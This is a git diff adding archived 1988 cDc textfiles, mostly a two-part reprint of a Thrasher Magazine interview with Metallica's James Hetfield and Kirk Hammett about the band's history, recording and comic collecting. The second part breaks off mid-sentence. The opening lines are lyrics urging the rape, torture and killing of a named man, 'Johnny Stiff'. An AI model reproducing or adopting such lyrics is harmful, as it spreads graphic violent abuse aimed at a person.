+WE'RE NOT YOUR BAND + +Rape Johnny Stiff +Do it now +Fuck him up the ass +Piss in his mouth +Rape Johnny Stiff +Feed him guano +Shred his dick +Give him a barbwire catheters + +Bend over, I'll drive + +Kill Johnny Stiff +Do it now +Kick him in the head +Stamp him in the ground +Kill Johnny Stiff +Wreck his life +Cut his balls off +As payment to the bands + +Die, Stiff + +------------------------------------------------------------------------------- +Demon Roach Underground.....login:xxxxxx..new:xxxx.................806/794-4362 +The Dead Zone......................................................214/522-5321 +=============================================================================== + (c)1988 cDc communications by Swamp Rat 8/4/88-66 + All Rights Worth Not Very Much At All, And Regrettably So + diff --git a/textfiles.com/groups/CDC/cDc-0067.txt b/textfiles.com/groups/CDC/cDc-0067.txt new file mode 100644 index 00000000..98fba141 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0067.txt @@ -0,0 +1,655 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + Thrasher's METALLICA INTERVIEW + Part 1 of 2 + + Compliments of Racer X + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + The following is an interview with James Hetfield and Kirk Hammett of +Metallica which was conducted by Thrasher Magazine's Pushead. This interview +has been split into two parts to make it easier on you, the reader. Thrash, +kill, destroy, and most of all, enjoy. + +From THRASHER MAGAZINE: Vol. 6, No. 8 +_______________________________________________________________________________ + + +PUSHEAD: WHO JOINED THE BAND FIRST, KIRK OR CLIFF? + +JAMES: Cliff. We saw him play... I think Slagel put this gig together in LA, +it was two in the morning Monday night at the Whiskey. I think 20 people +showed up. There was Trauma, Violation, and one other band. We all went down, +saw Cliff play and said, 'Yeah, that's our guy!'. + +DID HE HAVE ANY IDEA WHO YOU GUYS WERE? + +J: No. So we kept coming up to S.F. to do gigs every once in a while. The +scene was way better up here, just the overall vibe. People could get into +what we were doing as opposed to L.A., where they were just hanging out, posing +with their drinks and cigarettes. We kept bugging the shit out of him when +they came down to shoot a video in L.A. and we went and bugged him there too. +Finally he said, 'Yeah, cool.' Things weren't going well in his band either. +He could see the direction they were going, kind of more poppy type. And he +said, 'Yeah, I'll join the band if you guys will move up here.' Well, hell +yeah, we were into it, we were sick of L.A. + +WAS DAVE MUSTAINE STILL IN THE BAND AT THAT TIME? + +J: Yeah. + +WHEN DID YOU GET RID OF DAVE AND FIND KIRK? + +J: That was when we hooked up with Johnny Z. Johnathan Zezula, Megaforce... +and crazed manager. He wired us $1,500 from Jersey and said, 'Get yourself out +here.' We said okay. + +WHY DID HE WANT YOU OUT THERE? TO PLAY OR RECORD? + +J: To record. We were going to get away from home for a bit and see what the +scene was like out there. Now that I think of it--It was really wild that we +did that. All of a sudden just move up to S.F., no place to stay or nothing. +Finally, we crashed at Mark Whittaker's pad. It was cool. + +KIRK: Mark ended up helping out on the recordings of "Kill 'Em All" and +"Ride The Lightning." He was also our sound person. + +J: Yeah, he came out to Jersey with us. We just threw all our shit and +everything into a U-Haul and started driving.... + +KIRK WASN'T IN THE BAND YET WHEN YOU WENT BACK EAST? + +J: Uh-uh. + +K: What happened was that on the way to New York they had problems with Dave. + +J: Mark Whittaker was also Exodus' manager at that time. And he kept playing +live tapes of Kirk. + +SO KIRK, WHAT MADE YOU GO FROM EXODUS TO METALLICA? + +K: At the time Exodus was having personnel problems, we had this bass player +who wasn't really fitting into the direction we were going. The band wasn't +rehearsing and we were at a real stale period. I was getting kind of fed up. +It's really funny, because one day I was sitting on the can and I got a phone +call from Whittaker. He called up and asked me if I'd be interested in flying +to New York to try out with the band, because they were having problems with +Dave. + +DID YOU KNOW THE BAND? + +K: Yeah, I saw Metallica twice and then we played with them at the Stone. What +was that, the Night of the Banging Head or something? + +J: The Ear Spankers or whatever it was. (laughs) That was a great one. + +K: Opportunity knocked, so I thought, what else do I have to do but check this +out? So, Mark Fed-X'ed a tape out and I sat down with the tape for a couple of +days. And then I started to get more calls from Whittaker saying, 'Well, are +you into it?'. I said, 'Yeah, sure,' and then he said, 'Well, the band wants +you to come out to New York to audition with them.' So I thought about it and +I thought about it, for like two seconds, and said, 'Sure, I'll check it out.' + +WERE THERE ANY HARD FEELINGS WITH THE REST OF THE GUYS IN EXODUS? + +K: At first, but they understood. If any of them would have been approached +they would have done the same thing. + +J: There was a whole strange period right there, all of a sudden a straight +drive out to New York in a U-Haul. There were five of us and we had a mattress +in the back to switch off sleeping. Get in the back. Slam. You're shut in. + We'd never been out of California and we got there to find out we were having +some real problems with Dave's attitude. He couldn't really handle being away +from home or something. It was just a bit funky and we knew it couldn't go on +like that so we started looking at the other stuff. It wasn't like we really +auditioned Kirk. He came in, set up, played and he was there. I don't know +what we would have done if we didn't like him. We didn't have the money to +send him back. We barely had enough money to get Dave home. He flew back on +Greyhound. (laughs) 'When does my plane leave?' Here Dave, bus ticket, one +hour, see ya. Kirk flew in like an hour after that. Dave almost missed his +bus. That would have been great. + +K: It was real weird because I was in the same situation of being out of +California for the first time and on top of that I barely knew any of them. +The only one I knew was Mark. I took a big chance because there was always the +possibility that they might not have liked me or something. I flew out there +with all kinds of equipment and stuff and I even paid for it. + +J: You were using Dave's stuff too. He couldn't get it home on the bus. + +K: Yeah, I was. I used a couple of his cabinets. + +YOU PLAYED WITH VENOM? + +J: Yeah, a huge thing. Venom gigs, da-da-da! + +K: There were about a thousand people there. It was one of the big underground +shows. + +WHAT WAS THE RESPONSE TO WHAT YOU WERE DOING, AS COMPARED TO WHAT VENOM WAS +DOING? + +K: It was good, people really liked it. We were still pretty much an under- +ground act. + +J: It was one of our first major gigs. + +K: Johnny Z plugged us a lot, in a lot of New York newspapers.... + +J: He owned a record store too, Johnny Z's Rock and Roll Heaven, and he was +selling the demo and album. + +A LOT OF PEOPLE THOUGHT YOU WERE AN EAST COAST BAND BECAUSE THE DEMO WAS +AVAILABLE THROUGH THERE. + +J: Pissed us off. + +YOU HAD AN ADDRESS IN S.F., PEOPLE HAD HEARD YOU WERE FROM L.A....IT WAS LIKE, +'WHERE ARE THEY FROM?' + +J: Yeah. And the fan club was in Oregon. + +K: Billboard still thinks we're a Danish band. + +WHEN YOU WENT TO NEW YORK YOU RECORDED "KILL 'EM ALL" WHICH TOOK EVERYBODY +BY SURPRISE. + +K: We got a half a star in Sounds Magazine. (laughs) + +I BET IF YOU SENT IT TO THEM TODAY THEY'D GIVE YOU FOUR STARS. + +K: Yeah, we got five stars, for "Master Of Puppets." + +J: We didn't give a fuck at all. + +K: We thought that whatever we did, there'd be people who would approach it +with a lot of hesitation, because it was so different back then. + +DID YOU CONSIDER YOURSELF A HEAVY METAL BAND AT THAT TIME? + +J: Yeah. None of us were really into the punk stuff, except maybe the Ramones +or the Pistols. We were not real hardcore punk fans. + +K: That's the thing that a lot of people don't know, when we first started we +weren't heavily into punk. It was very, very slight. Motorhead and the +Ramones. + +WHERE DID YOU GET THE IDEA TO PLAY THE RIFFS THAT MUCH FASTER? + +J: Motorhead. + +BUT YOU WERE EVEN FASTER THAN MOTORHEAD. + +J: We'd just keep practicing and the songs would get faster and faster and the +energy kept building up and it sounded more backbuster. + +K: When we write something, from the time we write it until the time it +actually comes out, it's a lot faster on the album. And then from the time +it's cut on vinyl to the time we're actually playing live, it's even faster. +I think that's what happened in the beginning. We wrote stuff thinking that we +were going to play it at a normal speed and just naturally speed it up. + +J: It's always faster, hella shit's going on live. Booze and freaks dinking +around, just the excitement. + +K: The adrenaline flow. + +SO HERE YOU HAD THIS NEW FORM OF METAL, WHICH I GUESS NOW IS CALLED +SPEED-METAL, OR WHATEVER. + +K: I hate that word. I hate any sort of label like that. + +LABELS ARE THE ONLY WAY PEOPLE CAN CLASSIFY SOMETHING. SOME PEOPLE HATE HEAVY +METAL BECAUSE BANDS LIKE JOURNEY ARE PUT INTO THAT CATEGORY. + +J: If someone has a shitty opinion of heavy metal they're not going to be +impartial anyway... 'Metallica's heavy metal? Oh, I hate them already,' and +they don't even know what we sound like. + +HOW LONG DID IT TAKE BEFORE "KILL 'EM ALL" SALES TOOK OFF? + +J: Until "Master Of Puppets" came out. (laughs) + +K: It sold pretty steadily. It wasn't selling in enormous number but it +sold... + +J: All our albums have sold steadily. When it first comes out all the hard- +core fans will buy it. But then it doesn't drop off, it just keeps steadily +hanging out in the same place. + +K: After we got back from the "Kill 'Em All For One" tour, we played some gigs +sporadically in the Bay Area, we started writing new material for "Ride The +Lightning" and then we played the Halloween gig. We put out the "Jump in the +Fire" EP and got ready to go to Europe. It was our first European tour and +when we got there we were pretty surprised at the response, because the +original "No Life 'till Leather" demo was circulated a lot through Europe. +Throughout Holland, Denmark, Germany and stuff. + +J: Yeah, hundredth generation tapes... you could barely hear what the hell was +going on, but they were into it. + +K: So we had a following with the demo and then "Kill 'Em All" came out on the +European label and did better than it did in America. There was more of an +audience over there waiting to see us. + +ALL THESE BANDS STARTED FORMING AND EVERYBODY WOULD SAY, 'METALLICA'S MY +MAIN INFLUENCE.' HOW DID YOU FEEL ABOUT THAT? + +J: It was real cool. If people are influenced by you--you must be doing +something right. It must be something original. A lot of bands, like Van +Halen and Black Sabbath, when they started out, hella people copied them +after that. + +IT'S BEEN SAID THAT METALLICA SORT OF BROKE THE STAGNATION THAT EXISTED IN +AMERICAN HEAVY METAL. + +K: Yeah, I guess we were inspirational at the time. + +DID YOU WANT TO BE THAT WAY OF DID IT JUST HAPPEN? + +K: It just happened that way--it wasn't intentional. We thought: this is cool, +we can get more things happening now in the metal scene. We broke open a lot +more roads of communication. + +WITH THE UNDERGROUND SUCCESS OF "KILL 'EM ALL" AND A COMING TREND OF NEW BANDS +IN THE METALLICA GENRE, WERE THE ATTITUDES OF CERTAIN BAND MEMBERS AFFECTED +IN ANY WAY? + +K: At that time the success wasn't really that major. We were still an under- +ground band, but with a lot of people copying us. I think the musicians took +to us first. They took to us saying, 'Hey, this is cool, we gotta listen to +this and be like this.' At that point we were still pretty much underground. + +J: We were definitely confident of what we were doing. We weren't really +threatened by any bands. There were no attitude problems like, 'Oh wow, we +invented it.' We just kept moving on in no special, different direction. +Well, like "Kill 'Em All" material was written at least a year and a half +before it was recorded, so those were songs we'd been doing for awhile. + +ON "KILL 'EM ALL" WE FIRST HEARD WHAT WE MIGHT CALL THE "CHUNKA-CHUNKA" +RIFF? WHERE DID THAT RIFF COME FROM? + +J: Well I was always into the riffy stuff. Diamond Head, Sabbath... + +K: The stuff that moves around real heavily--it takes you from one part to +another with no bullshit in between. It's like a well crafted movie, from +scene to scene. + +J: We come up with a lot of riffs on accident. We'll just be goofing around +on guitar and... get a tape deck quick! + +K: Yeah, just goof around and build on it. + +WOULD YOU ADVISE OTHER PEOPLE TO DO THE SAME THING? + +J: No! That's the way we do it. Don't do it! (laughs)... That's the way +it works for us, we can't just sit down and say, 'O.K., we have to write, +let's go.' + +DO YOU WRITE THE MUSIC FIRST OR THE LYRICS FIRST? + +J: Both first. We come up with song titles and riffs first. + +K: We come up with a basic concept first. + +WHY DOES THE STUFF ON SAY, "KILL 'EM ALL" HAVE MORE OF A VIOLENT EDGE? + +J: We came up with that title because we couldn't have some of the other titles +we wanted and that pissed us off. The record company said, 'No you can't,' so +Cliff said, 'Those record company fuckers, you know, kill 'em all.' + +K: We were all pissed off because the record company said we couldn't call our +record this because it wouldn't sell as many albums. + +WHAT DID YOU WANT TO CALL IT INITIALLY? + +J: "Metal Up Your Ass." + +K: An independent company wouldn't let us call it "Metal Up Your Ass." + +J: We wanted it to be with the toilet and the knife, that we have on shirts +now, which get twice as much exposure. Ha ha. + +WHY THE VIOLENT EDGE, WAS THERE ANY REASON FOR IT? + +J: Pissed off. + +K: It was just the frame of mind... + +WHERE DOES THE PUNK EDGE COME IN? ALL OF A SUDDEN THERE ARE PHOTOS OF YOU +GUYS WEARING GBH AND DISCHARGE SHIRTS... + +K: Well, what happened was we were playing this music no other metal bands were +playing and then all of the sudden one day we heard a punk band that was +playing as fast as we were. We said, 'Hey, this is cool.' + +YOU HAD NO IDEA THIS PUNK SCENE EXISTED? + +J: Not too much. Punks would come to our show and say, 'Hey, have you ever +heard of this band or this band.' 'No. Give me a tape, let's hear them.' We +started getting into it that way. + +WHAT IS THE FIRST BAND YOU HEARD FROM THAT SIDE? + +K: Discharge, for me. + +J: It was either Discharge or GBH. + +DID THAT CHANGE THE WAY YOU DID MUSIC ONCE YOU HEARD THAT? + +K: It changed the way we played. + +IT OPENED YOUR MIND? + +J: Yeah, it did, we started getting into listening to stuff from different +moves. Instead of just going, 'Ho, we're going to play some metal now.' + +K: When we started listening to punk stuff then we started listening to other +things too--I hate to say this but, The Police, or... + +J: Kirk listens to the Police. (laughs) + +WHY DO YOU HATE TO SAY IT, ARE YOU EMBARRASSED? + +K: No, I'm not really embarrassed, it's just that a lot of people won't +understand that. What I'm trying to say is that we started listening to +music other than heavy metal, we broadened our musical horizons. + +UP UNTIL THAT TIME YOU WERE LISTENING TO METAL-TYPE BANDS? + +J: The metal scene was so small back then that everyone was just fighting +for metal. There were hardly any bands, so we had to make a mark. + +DID YOU LISTEN TO WHAT THE PUNK BANDS WERE SAYING OR JUST THEIR RIFFS? + +K: Everything. It all helped. + +J: It opened up a lot of shit. It gave us, I think, some more heavy topics to +write about. + +K: It was a truer gut feeling I think, on James' behalf. + +OBVIOUSLY THERE WAS A CHANGE BETWEEN "KILL 'EM ALL" AND "FIGHT FIRE WITH FIRE," +IN WHAT YOU WERE TRYING TO SAY. + +J: Yeah. Plus, all that stuff on "Kill 'Em All" was written so far back. We +had a lot of time to explore new material. + +"KILL 'EM ALL" WAS PRETTY RAW AND AGGRESSIVE. WHEN "RIDE THE LIGHTNING" CAME +OUT IT WAS MORE POLISHED. + +J: It was because we had more studio time. We were producing it. We had no +experience whatsoever in the studio when we were recording "Kill 'Em All." Our +so-called producer was sitting there playing with his dick, checking the songs +off a notepad and saying, 'Well, we can go to a club tonight when we're through +recording. Is the coffee ready?' He had nothing to say about any of the +songs. I don't think he'd dare say anyway, because we'd have said, 'Fuck you, +that's our song.' But production-wise, helping with sound or anything, he +didn't contribute. So right away we had a bad reflection of what a producer +was. + +DID YOU CHOOSE THIS GUY AS A PRODUCER, OR WAS HE CHOSEN FOR YOU? + +K: He was chosen by the record company and our then manager Kevin Seed. + +SO YOU HAD A RUDE AWAKENING AS FAR AS PRODUCTION GOES? + +J: Yeah, it was pretty brutal. Then next time we went in, to record "Ride The +Lightning" we said, 'Fuck that, we're going to do it ourselves.' + +WERE YOU ABLE TO PULL IT OFF? + +K: We pulled it off. We had a good engineer. + +J: We had a budget to stick to. It was fairly big but not enough to where we +could go to the studio we wanted and get the producer we wanted. So we just +said, 'We practically did the last album ourselves so let's just go with the +best studio and get the best in house engineer. + +K: ...Who knew the sounds, that was really important. + +SO WHERE DID ELEKTRA COME FROM? + +J: Down the street. + +K: We changed management, and our new management thought that we should have a +major record company behind us. + +AND HE KNEW HOW TO DO THAT? + +K: He had a reputation in the business for knowing what he was doing. Anyway, +he thought that we should have a major record deal, so the word was out that +Metallica was looking for a major record deal and we had about three or four +different companies wanting to sign us. + +J: Pusmort, or some shitty thing like that. (laughs) + +K: We looked at each one individually and it seemed from what we saw that +Elektra was better. Even though other offers were financially better, Elektra +had a reputation of leaving complete artistic freedom with their acts. They +had acts in the past, like the Doors, the Velvet Underground, the Stooges...it +was a pretty liberal label. The had a reputation for trying out new things +that were pretty experimental at the time. + +J: Right then there were hella bands being signed, snatched up on major labels. +All the major labels were saying, 'Oh, metal's like the new thing, get in on +the money right now.' They're still doing it. Elektra only had Motley Crue +and Dokken and all these other labels had many more. We'd be say third on the +list of so-called metal bands with Elektra, so we'd get at least some support. +Instead of signing with Atlantic where there were ten metal bands and we'd be +hanging out somewhere waiting for our chunk of money when it came down. +'Here's a few bucks, go buy a hamburger, or whatever,' that type of thing. +There wasn't a clutter of metal on that label so we figured we do something to +get some support. + +DID YOU GET ANY OF THIS "UNDERGROUND BAND SELLING OUT TO THE MAJORS" STUFF? + +K: Yeah, we got that. + +HOW DID THAT AFFECT YOU? + +K: It didn't affect us at all. We basically didn't give a fuck. We were +going to stick to our guns. + +J: Some of the shows we're playing now people will come up to us and go, +'Hey, get me backstage and everything.' 'Sorry, man there's nothing I can do, +it's really tight.' And they'll say, 'Oh, he's a rock star now.' You just +want to... hey, man it's no rock star shit, it's just... you just find out who +your friends are after awhile. + +K: A lot of people just don't understand it. There's not enough room for +everyone we've ever spoken to.... + +J: They try and throw a shitty guilt trip on you.... + +K: They just see the opportunity to like... 'Hey man, check it out, I know this +guy in Metallica, I can do something good for myself. Since I know him I can +get put on the guest list, get backstage and hang out with him.' What they're +basically doing is trying to take advantage of you, and when you see that and +say, 'No way man, you're just trying to take advantage,' they go for the +predictable response of, 'Wow, he's a rock star, he doesn't have the time of +day. He's too big for his friends, he doesn't know who his friends are....' +If they really knew you they wouldn't say shit like that, they would understand +it. + +J: Then there's people who say, 'Yeah, they're a popular band and now I don't +like them.' + +DO THOSE NEGATIVE FEELINGS THAT PEOPLE HAVE BOTHER YOU? + +J: A little bit, yeah. It makes them look bad. + +I NOTICED THE OTHER NIGHT, WHEN THE SHOW WAS OVER, BOTH OF YOU GUYS HOPPED OFF +THE STAGE INTO THE PHOTO PIT AND WENT THROUGH SHAKING PEOPLE'S HANDS... + +J: Yeah, since we can't flip out into the crowd anymore. Maybe we'll do that +when we headline again. But during the Ozzy support thing it's too brutal. +Ozzy's people... I mean, if I jumped into the crowd they'd freak... + +YOU'RE WALKING ON THE SUCCESS OF A NEW RECORD AND IT'S LIKE EVERYWHERE YOU SEE, +'HERE'S ONE OF THE GUYS IN THE BAND AND HERE'S THE BAND.' HOW DO YOU GUYS SEE +YOURSELVES NOW? + +J: All of these people tell us, 'Wow, we don't like you anymore because you're +not an underground band, so automatically you guys are shitty because you're +popular and on a major label and have some money.' Which is bullshit, because +we'd be doing the same shit if we were still hanging out with Megaforce. +Writing the same material and hanging out with the same people. They'd +probably think it was great if we were still with them. Elektra hasn't said +one fucking word to us about the songs we've written except, 'We like 'em.' + +DOES THE PRODUCER YOU HAVE IN THERE WITH YOU SAY ANYTHING? + +K: We're the producers. + +ON THE RECORD YOU HAVE... WHO'S FLEMING RASMUSSEN? + +K: He's the engineer who helped us out with production. He doesn't write the +songs. He didn't mess around with any of the song writing at all. + +J: He didn't say, 'Slow down it sounds muddy.' He'd go, 'Okay, it's muddy, +let's clean up the sound a bit.' + +ONE THING I CAN'T UNDERSTAND IS WHY YOU WENT TO DENMARK FOR FOUR MONTHS TO MAKE +A RECORD. DOES IT REALLY TAKE THAT LONG? + +J: Sometimes it does.... + +K: You have to live with it, and that's brutal. If you make mistakes in the +studio and it goes to vinyl, you have to live with that mistake for the next +year and a half to two years. We just don't want to do that. + +J: It wasn't that we were making mistakes and shit in the studio, it was +getting sounds together. Lars was being way too fucking picky. Like, the +snare would always be going out of tune, this much out of tune, 'Okay hold on,' +so he'd bang for another hour tuning the snare and then go in and bash. + +DO YOU GUYS EACH DO YOUR PIECES ON YOUR OWN, OR DO YOU GO IN AND DO BASIC LIVE? + +J: Me and Lars will just go in and play it. + +SO YOU DON'T DO A BASIC LIVE TRACK? WHEN YOU GO INTO THE STUDIO FROM PRACTICE +YOU JUST PLAY THE GUITAR TRACK AND EVERYONE ELSE KNOWS WHERE TO COME IN? + +J: Yeah. + +HOW MANY TRACKS ARE YOU RECORDING? + +J: Depends on the song. I think the most was fifty-two. + +WHAT ARE YOU DOING WITH FIFTY-TWO TRACKS? + +J: Back-up vocals, dub overs... + +HOW MANY TIMES DO YOU OVER-DUB YOUR VOCALS? + +J: The main vocal verse is doubled, I double it. + +HOW MANY TRACKS ARE THERE WITH GUITARS? + +J: Most of the songs had three. + +THREE FOR EACH OF YOU? + +J: I do all of the rhythms in the studio. + +K: It's tighter that way. + +J: I did most of the songs with three rhythm tracks. One on each side and one +down the middle. Some of the other songs, like "Battery" or "Damage," it got a +bit too muddy so it was just the two. + +K: We're giving away studio secrets here. + +J: Uh oh, erase. (laughs) + +IT'S JUST KIND OF FUNNY, I SAW YOU BEFORE YOU WENT TO DENMARK, YOU WERE GONE +ALL THIS TIME, AND THEN YOU COME BACK, 'IT'S NOT ALL DONE YET, WE HAVE TO GO +MIX.' IT'S LIKE, WHAT HAVE THESE GUYS BEEN DOING? + +J: Drinking beer. + +K: We played a lot of poker in the studio, too. + +BEING IN A STUDIO, BEING CRAMPED UP IN THOSE KIND OF QUARTERS, HAVING HEAD- +PHONES ON AND LISTENING TO THE SAME THINGS, EIGHT SONGS OVER AND OVER AGAIN CAN +DRIVE YOU UP A WALL. I MEAN, THERE'S A HIGH LEVEL OF PROFESSIONALISM THERE, +BECAUSE YOU'RE GOING FOR THE PERFECT ANGLE, BUT IT CAN BE NERVE-RACKING. + +J: It was. + +HOW COME YOU GUYS DIDN'T BREAK UP? + +J: Oh, we did. About ten times... a day. Things towards the end got kind of, +'Ugh, I want to kill somebody.' + +K: The tension was there, it was heavy tension. A lot of arguing, but that +comes with the territory. + +J: I know next album we're not going to spend that much time. + +ARE YOU HAPPY WITH THE WAY THE RECORD TURNED OUT? + +J: Definitely. + +K: Well, you're happy with it to a point, and then you think, well I could have +done that better still. + +J: You always think that. + +IS THERE A CRITICAL DEGREE YOU GUYS HAVE WHERE YOU HEAR CERTAIN THINGS YOU +DON'T LIKE, THAT NOBODY ELSE WILL EVER HEAR, IT'S JUST YOUR PERSONAL THING? + +J: Yeah, after awhile it's pretty cool. 'People, check it out, right here I +fucked up.' And they go, 'Where?'. Ha-ha, you don't know. + +K: Exactly, it's like find the hidden pictures. + +J: They've heard it that way so they don't know it's a mistake. You've gotta +have that... if it's perfect all the way through it's no fun. + +K: There are mistakes on the album, but like I said, find the hidden picture. + +J: Def Leppard... two years in the studio or whatever it is. + +THEY'RE STILL IN IT AREN'T THEY? + +K: Yeah, still in it. + +THAT'S YOUR MANAGEMENT'S OTHER BAND? + +J: Yeah. + +SO NEXT RECORD FOR METALLICA, TWO YEARS IN THE STUDIO, HUH? + +J: At least, we're going to try and beat them. + +K: We're going for three. + +SO THE NEW RECORD, "MASTER OF PUPPETS," IS OUT AND IT'S PRETTY CLOSE TO A GOLD +RECORD AT THIS POINT, WHAT DO YOU GUYS THINK OF THAT? + +J: I'll stick it up in my storage place. + +K: I'll give mine to my mom. + + + So there ya go, the first part of the thrilling 'tallica interview.... +Look for the second part soon as another cDc release. + + +=============================================================================== + (c)1988 cDc communications by Racer X 8/12/88-67 + All Rights Worth Not Very Much At All, And Regrettably So + diff --git a/textfiles.com/groups/CDC/cDc-0068.txt b/textfiles.com/groups/CDC/cDc-0068.txt new file mode 100644 index 00000000..604e561d --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0068.txt @@ -0,0 +1,513 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + Thrasher's METALLICA INTERVIEW + Part 2 of 2 + + Compliments of Racer X + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + The following is an interview with James Hetfield and Kirk Hammett of +Metallica which was conducted by Thrasher Magazine's Pushead. This interview +has been split into two parts to make it easier on you, the reader. Thrash, +kill, destroy, and most of all, enjoy. + +From: THRASHER MAGAZINE - Vol. 6, No. 8 +_______________________________________________________________________________ + +PUSHEAD: SO THE NEW RECORD "MASTER OF PUPPETS," IS OUT AND IT'S PRETTY CLOSE TO +A GOLD RECORD AT THIS POINT, WHAT DO YOU GUYS THINK OF THAT? + +James: I'll stick it up in my storage place. + +Kirk: I'll give mine to my mom. + +YOU COULD SELL IT AND BUY AN APARTMENT FOR A COUPLE OF MONTHS. THAT'S THE +WEIRDEST THING, HERE YOU GUYS ARE, RIDING ON A SUCCESS, RIGHT? YOU'RE ON A +SUCCESSFUL TOUR, YOU HAVE A SUCCESSFUL ALBUM, EVERYTHING'S DOING WELL AND YOU +DON'T EVEN HAVE A PLACE TO LIVE. + +J: No. + +WILL YOU EVER? + +J: I don't know. + +K: I need a place to store my comic books when I'm out on the road. + +J: We've got some stuff, I've got a bed and all that crap, it's just in +storage. It sucks. I've got an address where I can get mail. + +AND YOU GUYS ARE ON ALLOWANCES AND STUFF LIKE THAT? + +K: Yeah, we have accountants. Now I get to buy the comics I've been wanting +since I was a little kid. I can pay more attention now to my hobbies. When I +was younger, I was always into comics and I never had enough money to buy +Fantastic Four number 1, which I just got today, because of the price. + +BUT ISN'T THE PRICE MORE NOW THAN IT WAS THEN? + +K: Yeah, but when you think about it it's pretty much the same price--what was +a quarter back then is a dollar now, it's still at the same distance. + +ARE YOU BUYING THESE AS AN INVESTMENT? + +K: Sure, they're a good investment and I do buy certain comics as investments, +but I'm not into this hobby just to make money. That sucks, that's more like a +broker or something. I don't buy it as much for the monetary value, though, as +I do for just sentimental reasons and from a collector's point of view. + +J: I've got two Dennis The Menace that HE gave me. I'm going to save them +forever. + +WHAT IS YOUR REASON FOR GETTING INTO THE COMICS, JAPANESE TOYS AND THE HORROR +STUFF? + +K: The reason I buy toys and stuff is it's good plain fun. I'll admit it, I +used to spend a lot of money on drugs at one point. + +WHY? + +J: Yeah, why? + +K: Because I thought maybe drugs were fun... + +J: Why? + +K: Until drugs all of the sudden weren't very fun at all... + +J: Why? + +K: And it was like a huge illusion. And I thought drugs brought me a certain +kind of joy... + +J: Why? + +K: But, they don't... shut up, James... they stopped bringing me a lot of joy. +And around the same time I was buying comics and toys and they were bringing me +a lot of, for want of a better word... fun. It's healthier for me and I have +something to show for it. + +J: Do you think comics saved you from drugs? Spiderman saved me, dude.(laughs) + +K: I've talked to friends who have made a lot of money and asked themselves, +'Where has all my money gone?,' and the answer was always, 'Well, it all went +into drugs and booze and such.' And I asked myself that same question and I +have something to show for it, my money went into toys and comics and I got a +lot of fun out of it and I'm a lot healthier to boot. They can still bring me +a lot of fun. + +J: What about comic books about drugs? + +K: Those are the best ones. + +WHAT DO YOU THINK OF THE GROWING TREND OF OLDER PEOPLE WHO ARE INVOLVED IN +SOMETHING THAT MOST PEOPLE SAY IS FOR LITTLE KIDS? + +K: A lot of people make the association of comics and toys with youth. They +put two and two together, when I was younger I played with toys and they were a +lot of fun. But, why should anyone say that should end because you're older? +There's absolutely no reason why that should end. I mean, it might appear to +be an immature kind of thing to do, but if you think about it, what's so +immature about wanting to have fun? People still go to the movies to have fun. +It's just another form of play. + +WOULD YOU SAY THAT YOU HAVE AN ADDICTIVE HOBBY? + +K: To obtain the unobtainable is a real rush in itself, like to see something +in a magazine and go, 'Wow, I'd really like to have this...' + +WHEN YOU'RE PLAYING ARE YOU PERFORMING A LITTLE BETTER BECAUSE YOU HAVE OTHER +GOALS THAT YOU CAN ACCOMPLISH WITH THAT? + +K: The musicianship is an entirely different thing altogether. The music comes +first and any sort of thing on the side I think of a lot farther down the line. +I don't go into studio thinking, well, you know, we're going to have to write +some great songs so I can buy some great comic books. It does keep everything +together because I have a more sound mind and a healthier attitude toward the +lifestyle in general. Of course, if my hobby was to get totally screwed up +every night and blow my brains out every night, I'd be a crash and burn +individual. If my hobby is to collect comic books and have a real sound mind, +doing better in health... comic books are inspiring to me. There are a lot of +ideas that I can find in comic books that I can interpret through music. It's +just better in the overall picture to be able to think clearly and to relate +my music better. It's real complicated, I never really looked at it like that +before. + +AN ESCAPE? + +K: Yeah, you could call it an escape. It's hard to say whether I really needed +an escape. I didn't really watch a lot of TV. I wasn't a TV kid, I was more +of a comic book kid. You know, you get TV kids and comic book kids. It's as +much of an escape as television. Everyone needs that sort of entertainment. I +collected that stuff for a long time and then I bought a guitar and got totally +obsessed with playing guitar. I kind of backed-down on the comics and played +the guitar a lot. + +AND NOW THE TWO HOBBIES HAVE KIND OF MATCHED... + +K: Yeah, they've come back together, because while I was playing guitar I would +walk into a comic book store and see comics that I used to have and say, 'wow, +I used to have that,' and I slowly came to realize that I still wanted it so I +got back into collecting comics and collecting the things I like the most which +are the horror comics. The EC's and Famous Monsters and just the whole horror +genre in particular. When I was even younger, I was a big fan of Walt Disney. + +IS THERE ANYTHING NEW THAT YOU LIKE OR IS ONLY THE OLDER STUFF GOOD? + +K: A lot of the new stuff is real good too. There's a lot more violence in +comics now... + +IS THAT GOOD OR BAD? + +K: I think it's great. It's entertaining. It's making comic books more +interesting, because back when I was reading comic books there was a comics +code, which is like the equivalent of like a PG rating at a movie. The +underground comics were a lot more lenient and underground comics are more like +an R-rated movie. Let's face it, most of the time an R-rated movie is better +than a PG-rated movie. There's a lot of good stuff out there nowadays, like +Mr. Monster, Teenage Mutant Ninja Turtles. And there's other stuff like Dark +Knight. It's really good because it puts Batman in a more realistic setting. +It's Batman, he's middle-aged, he's retiring and he's freaking out because his +profession of stopping crime is turning him into a loony case. It is like a +social statement because he is becoming what he once chased after... you could +relate that to something like a song like "Sanitarium".... + +METALLICA, IS PLAYING A QUICKER, RAW BUT POLISHED SOUND THAT MOST PEOPLE SAY IS +A VIOLENT TYPE OF MUSIC. DO YOU THINK THAT'S THE WAY THE WORLD IS HAPPENING? +ARE YOU GUYS REALLY SCREAMING AT PEOPLE, SAYING, 'LOOK WHAT'S HAPPENING.'? + +K: Yeah, I think you've got a point there. People can relate to that because +it's more like the world as it really is. I mean, let's face it, the world is +not a pretty place. The world is pretty sick. There's a lot of ugly things +out there and no matter how much you try and escape you always have to wake up +and face the fact that the world is fucked-up and ugly. + +IS THAT SOMETHING YOU WANT TO TELL PEOPLE IN YOUR MUSIC? + +J: Hell no. I don't want to tell people what to do because I hate people +telling me what to do.... + +YOU GUYS ARE NOW IN A POSITION WHERE SOME PEOPLE TAKE WHATEVER YOU 